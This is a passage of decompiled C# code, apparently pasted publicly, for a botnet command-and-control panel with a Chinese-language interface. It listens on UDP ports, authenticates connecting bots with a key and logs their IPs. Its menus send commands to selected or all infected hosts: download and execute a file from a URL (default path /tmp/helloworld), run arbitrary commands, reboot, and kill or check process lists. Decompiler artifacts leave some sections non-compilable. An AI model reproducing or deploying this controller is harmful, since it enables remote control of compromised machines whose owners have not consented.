- IL_14A:
- num = 22;
- if (current2.IsAlive)
- {
- IL_156:
- num = 23;
- current2.Abort();
- }
- IL_160:
- num = 25;
- }
- ((IDisposable)enumerator2).Dispose();
- IL_17A:
- num = 26;
- this.ClientSockets.Clear();
- IL_189:
- num = 27;
- this.ClientThread.Clear();
- IL_198:
- goto IL_214;
- IL_19A:
- num = 29;
- IL_19E:
- num = 30;
- if (!this.dataThread[0].IsAlive)
- {
- goto IL_1C2;
- }
- IL_1B1:
- num = 31;
- this.dataThread[0].Abort();
- IL_1C2:
- num = 33;
- NewLateBinding.LateCall(this.Listener[0], null, "Shutdown", new object[]
- {
- SocketShutdown.Both
- }, null, null, null, true);
- IL_1F2:
- num = 34;
- NewLateBinding.LateCall(this.Listener[0], null, "Close", new object[0], null, null, null, true);
- IL_214:
- goto IL_301;
- IL_219:
- int arg_220_0 = num3 + 1;
- num3 = 0;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_220_0);
- IL_2BD:
- goto IL_2F6;
- num3 = num;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num2);
- IL_2D2:
- goto IL_2F6;
- }
- object arg_2D4_0;
- endfilter(arg_2D4_0 is Exception & num2 != 0 & num3 == 0);
- IL_2F6:
- throw ProjectData.CreateProjectError(-2146828237);
- IL_301:
- if (num3 != 0)
- {
- ProjectData.ClearProjectError();
- }
- }
- public void Listcp(string Port)
- {
- checked
- {
- try
- {
- if (Port.IndexOf(",") != 0)
- {
- string[] array = Port.Split(new char[]
- {
- ','
- });
- for (int i = 0; i < array.Length; i++)
- {
- int num = Conversions.ToInteger(array[i]);
- IPEndPoint localEP = new IPEndPoint(IPAddress.Any, num);
- int num2;
- Socket[] array2 = new Socket[num2 + 1];
- array2[num2] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- array2[num2].Bind(localEP);
- this.ClientSockets.Add(Conversions.ToString(num), array2[num2]);
- Thread[] array3 = new Thread[num2 + 1];
- array3[num2] = new Thread(delegate(object a0)
- {
- this.Recv((Socket)a0);
- });
- array3[num2].IsBackground = true;
- array3[num2].Start(array2[num2]);
- this.ClientThread.Add(Conversions.ToString(num), array3[num2]);
- num2++;
- }
- }
- else
- {
- IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, Conversions.ToInteger(Port));
- this.Listener[0] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- object arg_13E_0 = this.Listener[0];
- Type arg_13E_1 = null;
- string arg_13E_2 = "Bind";
- object[] array4 = new object[]
- {
- iPEndPoint
- };
- object[] arg_13E_3 = array4;
- string[] arg_13E_4 = null;
- Type[] arg_13E_5 = null;
- bool[] array5 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(arg_13E_0, arg_13E_1, arg_13E_2, arg_13E_3, arg_13E_4, arg_13E_5, array5, true);
- if (array5[0])
- {
- iPEndPoint = (IPEndPoint)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array4[0]), typeof(IPEndPoint));
- }
- this.ClientSockets.Add(Conversions.ToString(0), (Socket)this.Listener[0]);
- this.dataThread[0] = new Thread(delegate(object a0)
- {
- this.Recv((Socket)a0);
- });
- this.dataThread[0].IsBackground = true;
- this.dataThread[0].Start(RuntimeHelpers.GetObjectValue(this.Listener[0]));
- }
- }
- catch (Exception expr_1CB)
- {
- ProjectData.SetProjectError(expr_1CB);
- Exception ex = expr_1CB;
- Button VB$t_ref$S1 = this.PortBN;
- this.BeginInvoke(new EventHandler(delegate(object a0, EventArgs a1)
- {
- VB$t_ref$S1.PerformClick();
- }));
- int num;
- Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, " 监听端口[ " + Conversions.ToString(num) + " ]失败!");
- ProjectData.ClearProjectError();
- }
- }
- }
- public void Addhost(object sender, EventArgs e)
- {
- object arg_36_0 = this.ListView1.Items;
- Type arg_36_1 = null;
- string arg_36_2 = "Add";
- object[] array = new object[]
- {
- RuntimeHelpers.GetObjectValue(sender)
- };
- object[] arg_36_3 = array;
- string[] arg_36_4 = null;
- Type[] arg_36_5 = null;
- bool[] array2 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(arg_36_0, arg_36_1, arg_36_2, arg_36_3, arg_36_4, arg_36_5, array2, true);
- if (array2[0])
- {
- sender = RuntimeHelpers.GetObjectValue(array[0]);
- }
- this.upme();
- if (this.CheckBox2.Checked)
- {
- StreamWriter streamWriter = new StreamWriter(this.AppPath + "/Online " + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", true);
- ListViewItem listViewItem = (ListViewItem)sender;
- streamWriter.WriteLine(listViewItem.Text.Split(new char[]
- {
- ':'
- })[0]);
- streamWriter.Flush();
- streamWriter.Close();
- streamWriter.Dispose();
- }
- }
- public void Delhost(object sender, EventArgs e)
- {
- string text = sender.ToString();
- ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
- if (listViewItem != null)
- {
- this.ListView1.Items.RemoveByKey(text);
- }
- }
- public void Uphost(object sender, EventArgs e)
- {
- string text = sender.ToString();
- ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
- if (listViewItem != null)
- {
- listViewItem.BackColor = Color.LightYellow;
- listViewItem.SubItems[1].Text = Conversions.ToString(-1);
- }
- }
- public void Uptime(object sender, EventArgs e)
- {
- string text = sender.ToString();
- Color paleVioletRed;
- if (text.IndexOf("|") > 0)
- {
- string left = text.Split(new char[]
- {
- '|'
- })[0];
- if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
- {
- paleVioletRed = Color.PaleVioletRed;
- }
- text = text.Split(new char[]
- {
- '|'
- })[1];
- }
- ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
- if (listViewItem != null)
- {
- listViewItem.SubItems[3].Text = DateAndTime.Now.ToString();
- if (!paleVioletRed.IsEmpty)
- {
- listViewItem.BackColor = paleVioletRed;
- }
- }
- }
- public void Recv(Socket obj)
- {
- int num;
- int num4;
- try
- {
- IL_00:
- ProjectData.ClearProjectError();
- num = 1;
- IL_08:
- int num2 = 2;
- IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, 0);
- IL_17:
- num2 = 3;
- this.BeginInvoke(new EventHandler(this.showMsg), new object[]
- {
- "Recv Thread Start!"
- });
- IL_41:
- while (true)
- {
- IL_38B:
- num2 = 5;
- IL_46:
- num2 = 6;
- byte[] array = new byte[1025];
- IL_55:
- num2 = 7;
- byte[] arg_60_1 = array;
- EndPoint endPoint = iPEndPoint;
- int arg_6D_0 = obj.ReceiveFrom(arg_60_1, ref endPoint);
- iPEndPoint = (IPEndPoint)endPoint;
- int num3 = arg_6D_0;
- IL_6F:
- num2 = 8;
- string text = iPEndPoint.ToString().Split(new char[]
- {
- ':'
- })[0];
- IL_90:
- num2 = 9;
- string text2 = iPEndPoint.ToString();
- IL_9B:
- num2 = 10;
- if (num3 > 0)
- {
- IL_A7:
- num2 = 11;
- string text3 = Encoding.UTF8.GetString(array, 0, num3);
- IL_BB:
- num2 = 12;
- bool flag = true;
- IL_C2:
- num2 = 15;
- if (flag == this.ClientAuth.ContainsKey(text2))
- {
- IL_D9:
- num2 = 16;
- obj.SendTo(Encoding.UTF8.GetBytes("0K"), iPEndPoint);
- IL_F4:
- num2 = 17;
- if (text3.IndexOf("|") > 0)
- {
- IL_109:
- num2 = 18;
- string left = text3.Split(new char[]
- {
- '|'
- })[0];
- IL_127:
- num2 = 21;
- if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
- {
- IL_13F:
- num2 = 22;
- this.BeginInvoke(new EventHandler(this.showMsg), new object[]
- {
- "到达最大下载次数 " + text2
- });
- IL_170:
- num2 = 23;
- this.BeginInvoke(new EventHandler(this.Uptime), new object[]
- {
- "5|" + text2
- });
- IL_1A1:;
- }
- }
- else
- {
- IL_1A6:
- num2 = 26;
- IL_1AA:
- num2 = 27;
- this.BeginInvoke(new EventHandler(this.Uptime), new object[]
- {
- text2
- });
- IL_1D1:;
- }
- }
- else
- {
- IL_1D6:
- num2 = 30;
- if (flag == text3.IndexOf("|") > 0)
- {
- IL_1EF:
- num2 = 31;
- if (Operators.CompareString(this.key, text3.Split(new char[]
- {
- '|'
- })[0], false) != 0)
- {
- IL_21A:;
- }
- else
- {
- IL_21F:
- num2 = 34;
- this.ClientAuth.Add(text2, true);
- IL_230:
- num2 = 35;
- this.ClietnIP.Add(text2, iPEndPoint);
- IL_241:
- num2 = 36;
- ListViewItem listViewItem = new ListViewItem();
- IL_24C:
- num2 = 37;
- listViewItem.Text = text2;
- IL_258:
- num2 = 38;
- listViewItem.Name = text2;
- IL_264:
- num2 = 39;
- listViewItem.SubItems.Add(Conversions.ToString(0));
- IL_27B:
- num2 = 40;
- listViewItem.SubItems.Add(DateAndTime.Now.ToString());
- IL_29A:
- num2 = 41;
- listViewItem.SubItems.Add(DateAndTime.Now.ToString());
- IL_2B9:
- num2 = 42;
- listViewItem.SubItems.Add(obj.LocalEndPoint.ToString().Split(new char[]
- {
- ':'
- })[1]);
- IL_2EC:
- num2 = 43;
- listViewItem.SubItems.Add(text3.Split(new char[]
- {
- '|'
- })[1]);
- IL_315:
- num2 = 44;
- this.BeginInvoke(new EventHandler(this.Addhost), new object[]
- {
- listViewItem
- });
- IL_33D:
- num2 = 45;
- obj.SendTo(Encoding.UTF8.GetBytes("Auth"), iPEndPoint);
- IL_358:
- num2 = 46;
- if (this.Disdown)
- {
- IL_364:
- num2 = 47;
- obj.SendTo(Encoding.UTF8.GetBytes("5|"), iPEndPoint);
- IL_37F:;
- }
- }
- }
- else
- {
- IL_381:
- num2 = 51;
- text3 = "Key Error";
- }
- }
- }
- }
- IL_393:
- goto IL_4C8;
- IL_398:
- int arg_39F_0 = num4 + 1;
- num4 = 0;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_39F_0);
- IL_484:
- goto IL_4BD;
- num4 = num2;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
- IL_499:
- goto IL_4BD;
- }
- object arg_49B_0;
- endfilter(arg_49B_0 is Exception & num != 0 & num4 == 0);
- IL_4BD:
- throw ProjectData.CreateProjectError(-2146828237);
- IL_4C8:
- if (num4 != 0)
- {
- ProjectData.ClearProjectError();
- }
- }
- public void Msglog(string str)
- {
- this.RichTextBox1.Text = string.Concat(new string[]
- {
- Conversions.ToString(DateAndTime.Now),
- "\t",
- str,
- "\r",
- this.RichTextBox1.Text
- });
- }
- public void showMsg(object sender, EventArgs e)
- {
- this.RichTextBox1.Text = string.Concat(new string[]
- {
- Conversions.ToString(DateAndTime.Now),
- "\t",
- sender.ToString(),
- "\r",
- this.RichTextBox1.Text
- });
- }
- private void Button1_Click(object sender, EventArgs e)
- {
- checked
- {
- if (this.ListView1.Items.Count > 0)
- {
- try
- {
- string text = Interaction.InputBox("保存在线主机列表", "", this.AppPath + "/" + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", -1, -1);
- if (!(Operators.CompareString(text, "", false) == 0 | text.IndexOf("|") > 0 | text.IndexOf(">") > 0 | text.IndexOf("<") > 0 | text.IndexOf("*") > 0))
- {
- StreamWriter streamWriter = new StreamWriter(text, false);
- int num;
- try
- {
- IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
- while (enumerator.MoveNext())
- {
- ListViewItem listViewItem = (ListViewItem)enumerator.Current;
- if (listViewItem.BackColor != Color.LightYellow)
- {
- streamWriter.WriteLine(listViewItem.Text.Split(new char[]
- {
- ':'
- })[0]);
- num++;
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- streamWriter.Flush();
- streamWriter.Close();
- streamWriter.Dispose();
- Interaction.MsgBox("保存成功! " + Conversions.ToString(num) + " 个IP列表", MsgBoxStyle.OkOnly, null);
- }
- }
- catch (Exception expr_166)
- {
- ProjectData.SetProjectError(expr_166);
- Exception ex = expr_166;
- Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, "保存失败");
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- private void ListView1_MouseUp(object sender, MouseEventArgs e)
- {
- if (e.Button == MouseButtons.Right & this.ListView1.SelectedItems.Count >= 1)
- {
- this.ListView1.ContextMenuStrip = this.ContextMenuStrip1;
- }
- else
- {
- this.ListView1.ContextMenuStrip = null;
- }
- }
- private void DeleteRowsToolStripMenuItem_Click(object sender, EventArgs e)
- {
- int num;
- int num3;
- try
- {
- IL_00:
- ProjectData.ClearProjectError();
- num = 1;
- IL_07:
- int num2 = 2;
- checked
- {
- for (int i = this.ListView1.SelectedItems.Count - 1; i >= 0; i += -1)
- {
- IL_1E:
- num2 = 3;
- if (this.ListView1.SelectedItems[i].Selected)
- {
- IL_38:
- num2 = 4;
- this.ListView1.SelectedItems[i].Remove();
- }
- IL_50:
- num2 = 6;
- }
- IL_5A:
- goto IL_C5;
- IL_5C:;
- }
- int arg_61_0 = num3 + 1;
- num3 = 0;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_61_0);
- IL_86:
- goto IL_BA;
- num3 = num2;
- @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
- IL_98:
- goto IL_BA;
- }
- object arg_9A_0;
- endfilter(arg_9A_0 is Exception & num != 0 & num3 == 0);
- IL_BA:
- throw ProjectData.CreateProjectError(-2146828237);
- IL_C5:
- if (num3 != 0)
- {
- ProjectData.ClearProjectError();
- }
- }
- private void Timer1_Tick(object sender, EventArgs e)
- {
- try
- {
- IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
- while (enumerator.MoveNext())
- {
- ListViewItem listViewItem = (ListViewItem)enumerator.Current;
- if (DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[2].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L && DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[3].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L)
- {
- if (this.DelOffline.Checked)
- {
- if (this.ClientAuth.ContainsKey(listViewItem.Text))
- {
- this.ClientAuth.Remove(listViewItem.Text);
- }
- if (this.ClietnIP.ContainsKey(listViewItem.Text))
- {
- this.ClietnIP.Remove(listViewItem.Text);
- }
- listViewItem.Remove();
- }
- else
- {
- if (this.ClientAuth.ContainsKey(listViewItem.Text))
- {
- this.ClientAuth.Remove(listViewItem.Text);
- }
- if (this.ClietnIP.ContainsKey(listViewItem.Text))
- {
- this.ClietnIP.Remove(listViewItem.Text);
- }
- listViewItem.BackColor = Color.LightYellow;
- }
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- this.upme();
- }
- public void upme()
- {
- this.Text = string.Concat(new string[]
- {
- Application.ProductName,
- " ",
- Application.ProductVersion,
- Strings.Space(3),
- "主机列表:",
- Conversions.ToString(this.ListView1.Items.Count)
- });
- }
- private void ShellToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Interaction.InputBox("默认位置/tmp/helloworld http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[selectedItems[i].Text]);
- }
- }
- }
- }
- private void ExecCmdToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Interaction.InputBox("id", "exec command", "", -1, -1);
- if (Operators.CompareString(text, "", false) == 0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("2|" + text), this.ClietnIP[selectedItems[i].Text]);
- }
- }
- }
- }
- private void RebootToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Conversions.ToString((int)Interaction.MsgBox("确认要重启选中机器?", MsgBoxStyle.YesNo, null));
- if (Conversions.ToDouble(text) != 6.0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("0|" + text), this.ClietnIP[selectedItems[i].Text]);
- }
- }
- }
- }
- private void Button2_Click(object sender, EventArgs e)
- {
- string text = Interaction.InputBox("默认位置/tmp/helloworld http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
- if (Operators.CompareString(text, "", false) == 0)
- {
- return;
- }
- try
- {
- IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
- while (enumerator.MoveNext())
- {
- ListViewItem listViewItem = (ListViewItem)enumerator.Current;
- if (this.ClientSockets.ContainsKey(listViewItem.SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[listViewItem.SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[listViewItem.Text]);
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- {
- (enumerator as IDisposable).Dispose();
- }
- }
- }
- private void KillWebListToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Interaction.InputBox("文件格式xxx|xxx \r\n http://xxxx/xxx.xxxx", "kill process of list", "", -1, -1);
- if (Operators.CompareString(text, "", false) == 0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("3|" + text), this.ClietnIP[selectedItems[i].Text]);
- }
- }
- }
- }
- private void CheckRunListToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Interaction.InputBox("文件格式xxx|xxx \r\nhttp://xxxx/xxx.xxxx!http下载地址", "check process of list", "", -1, -1);
- if (Operators.CompareString(text, "", false) == 0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("4|" + text), this.ClietnIP[selectedItems[i].Text]);
- }
- }
- }
- }
- private void DISRUNToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Conversions.ToString((int)Interaction.MsgBox("确认禁用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
- if (Conversions.ToDouble(text) != 6.0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("5|" + text), this.ClietnIP[selectedItems[i].Text]);
- selectedItems[i].BackColor = Color.PaleVioletRed;
- }
- }
- }
- }
- private void EnRUNLISTToolStripMenuItem_Click(object sender, EventArgs e)
- {
- string text = Conversions.ToString((int)Interaction.MsgBox("确认重置并启用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
- if (Conversions.ToDouble(text) != 6.0)
- {
- return;
- }
- ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
- checked
- {
- for (int i = selectedItems.Count - 1; i >= 0; i += -1)
- {
- if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
- {
- this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("6|" + text), this.ClietnIP[selectedItems[i].Text]);
- selectedItems[i].BackColor = Color.FromArgb(224, 224, 224);
- }
- }
- }
- }
- [DebuggerStepThrough, CompilerGenerated]
- private void _Lambda$__1(object a0)
- {
- this.Listcp(Conversions.ToString(a0));
- }
- [DebuggerStepThrough, CompilerGenerated]
- private void _Lambda$__2(object a0)
- {
- this.Recv((Socket)a0);
- }
- [DebuggerStepThrough, CompilerGenerated]
- private void _Lambda$__3(object a0)
- {
- this.Recv((Socket)a0);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement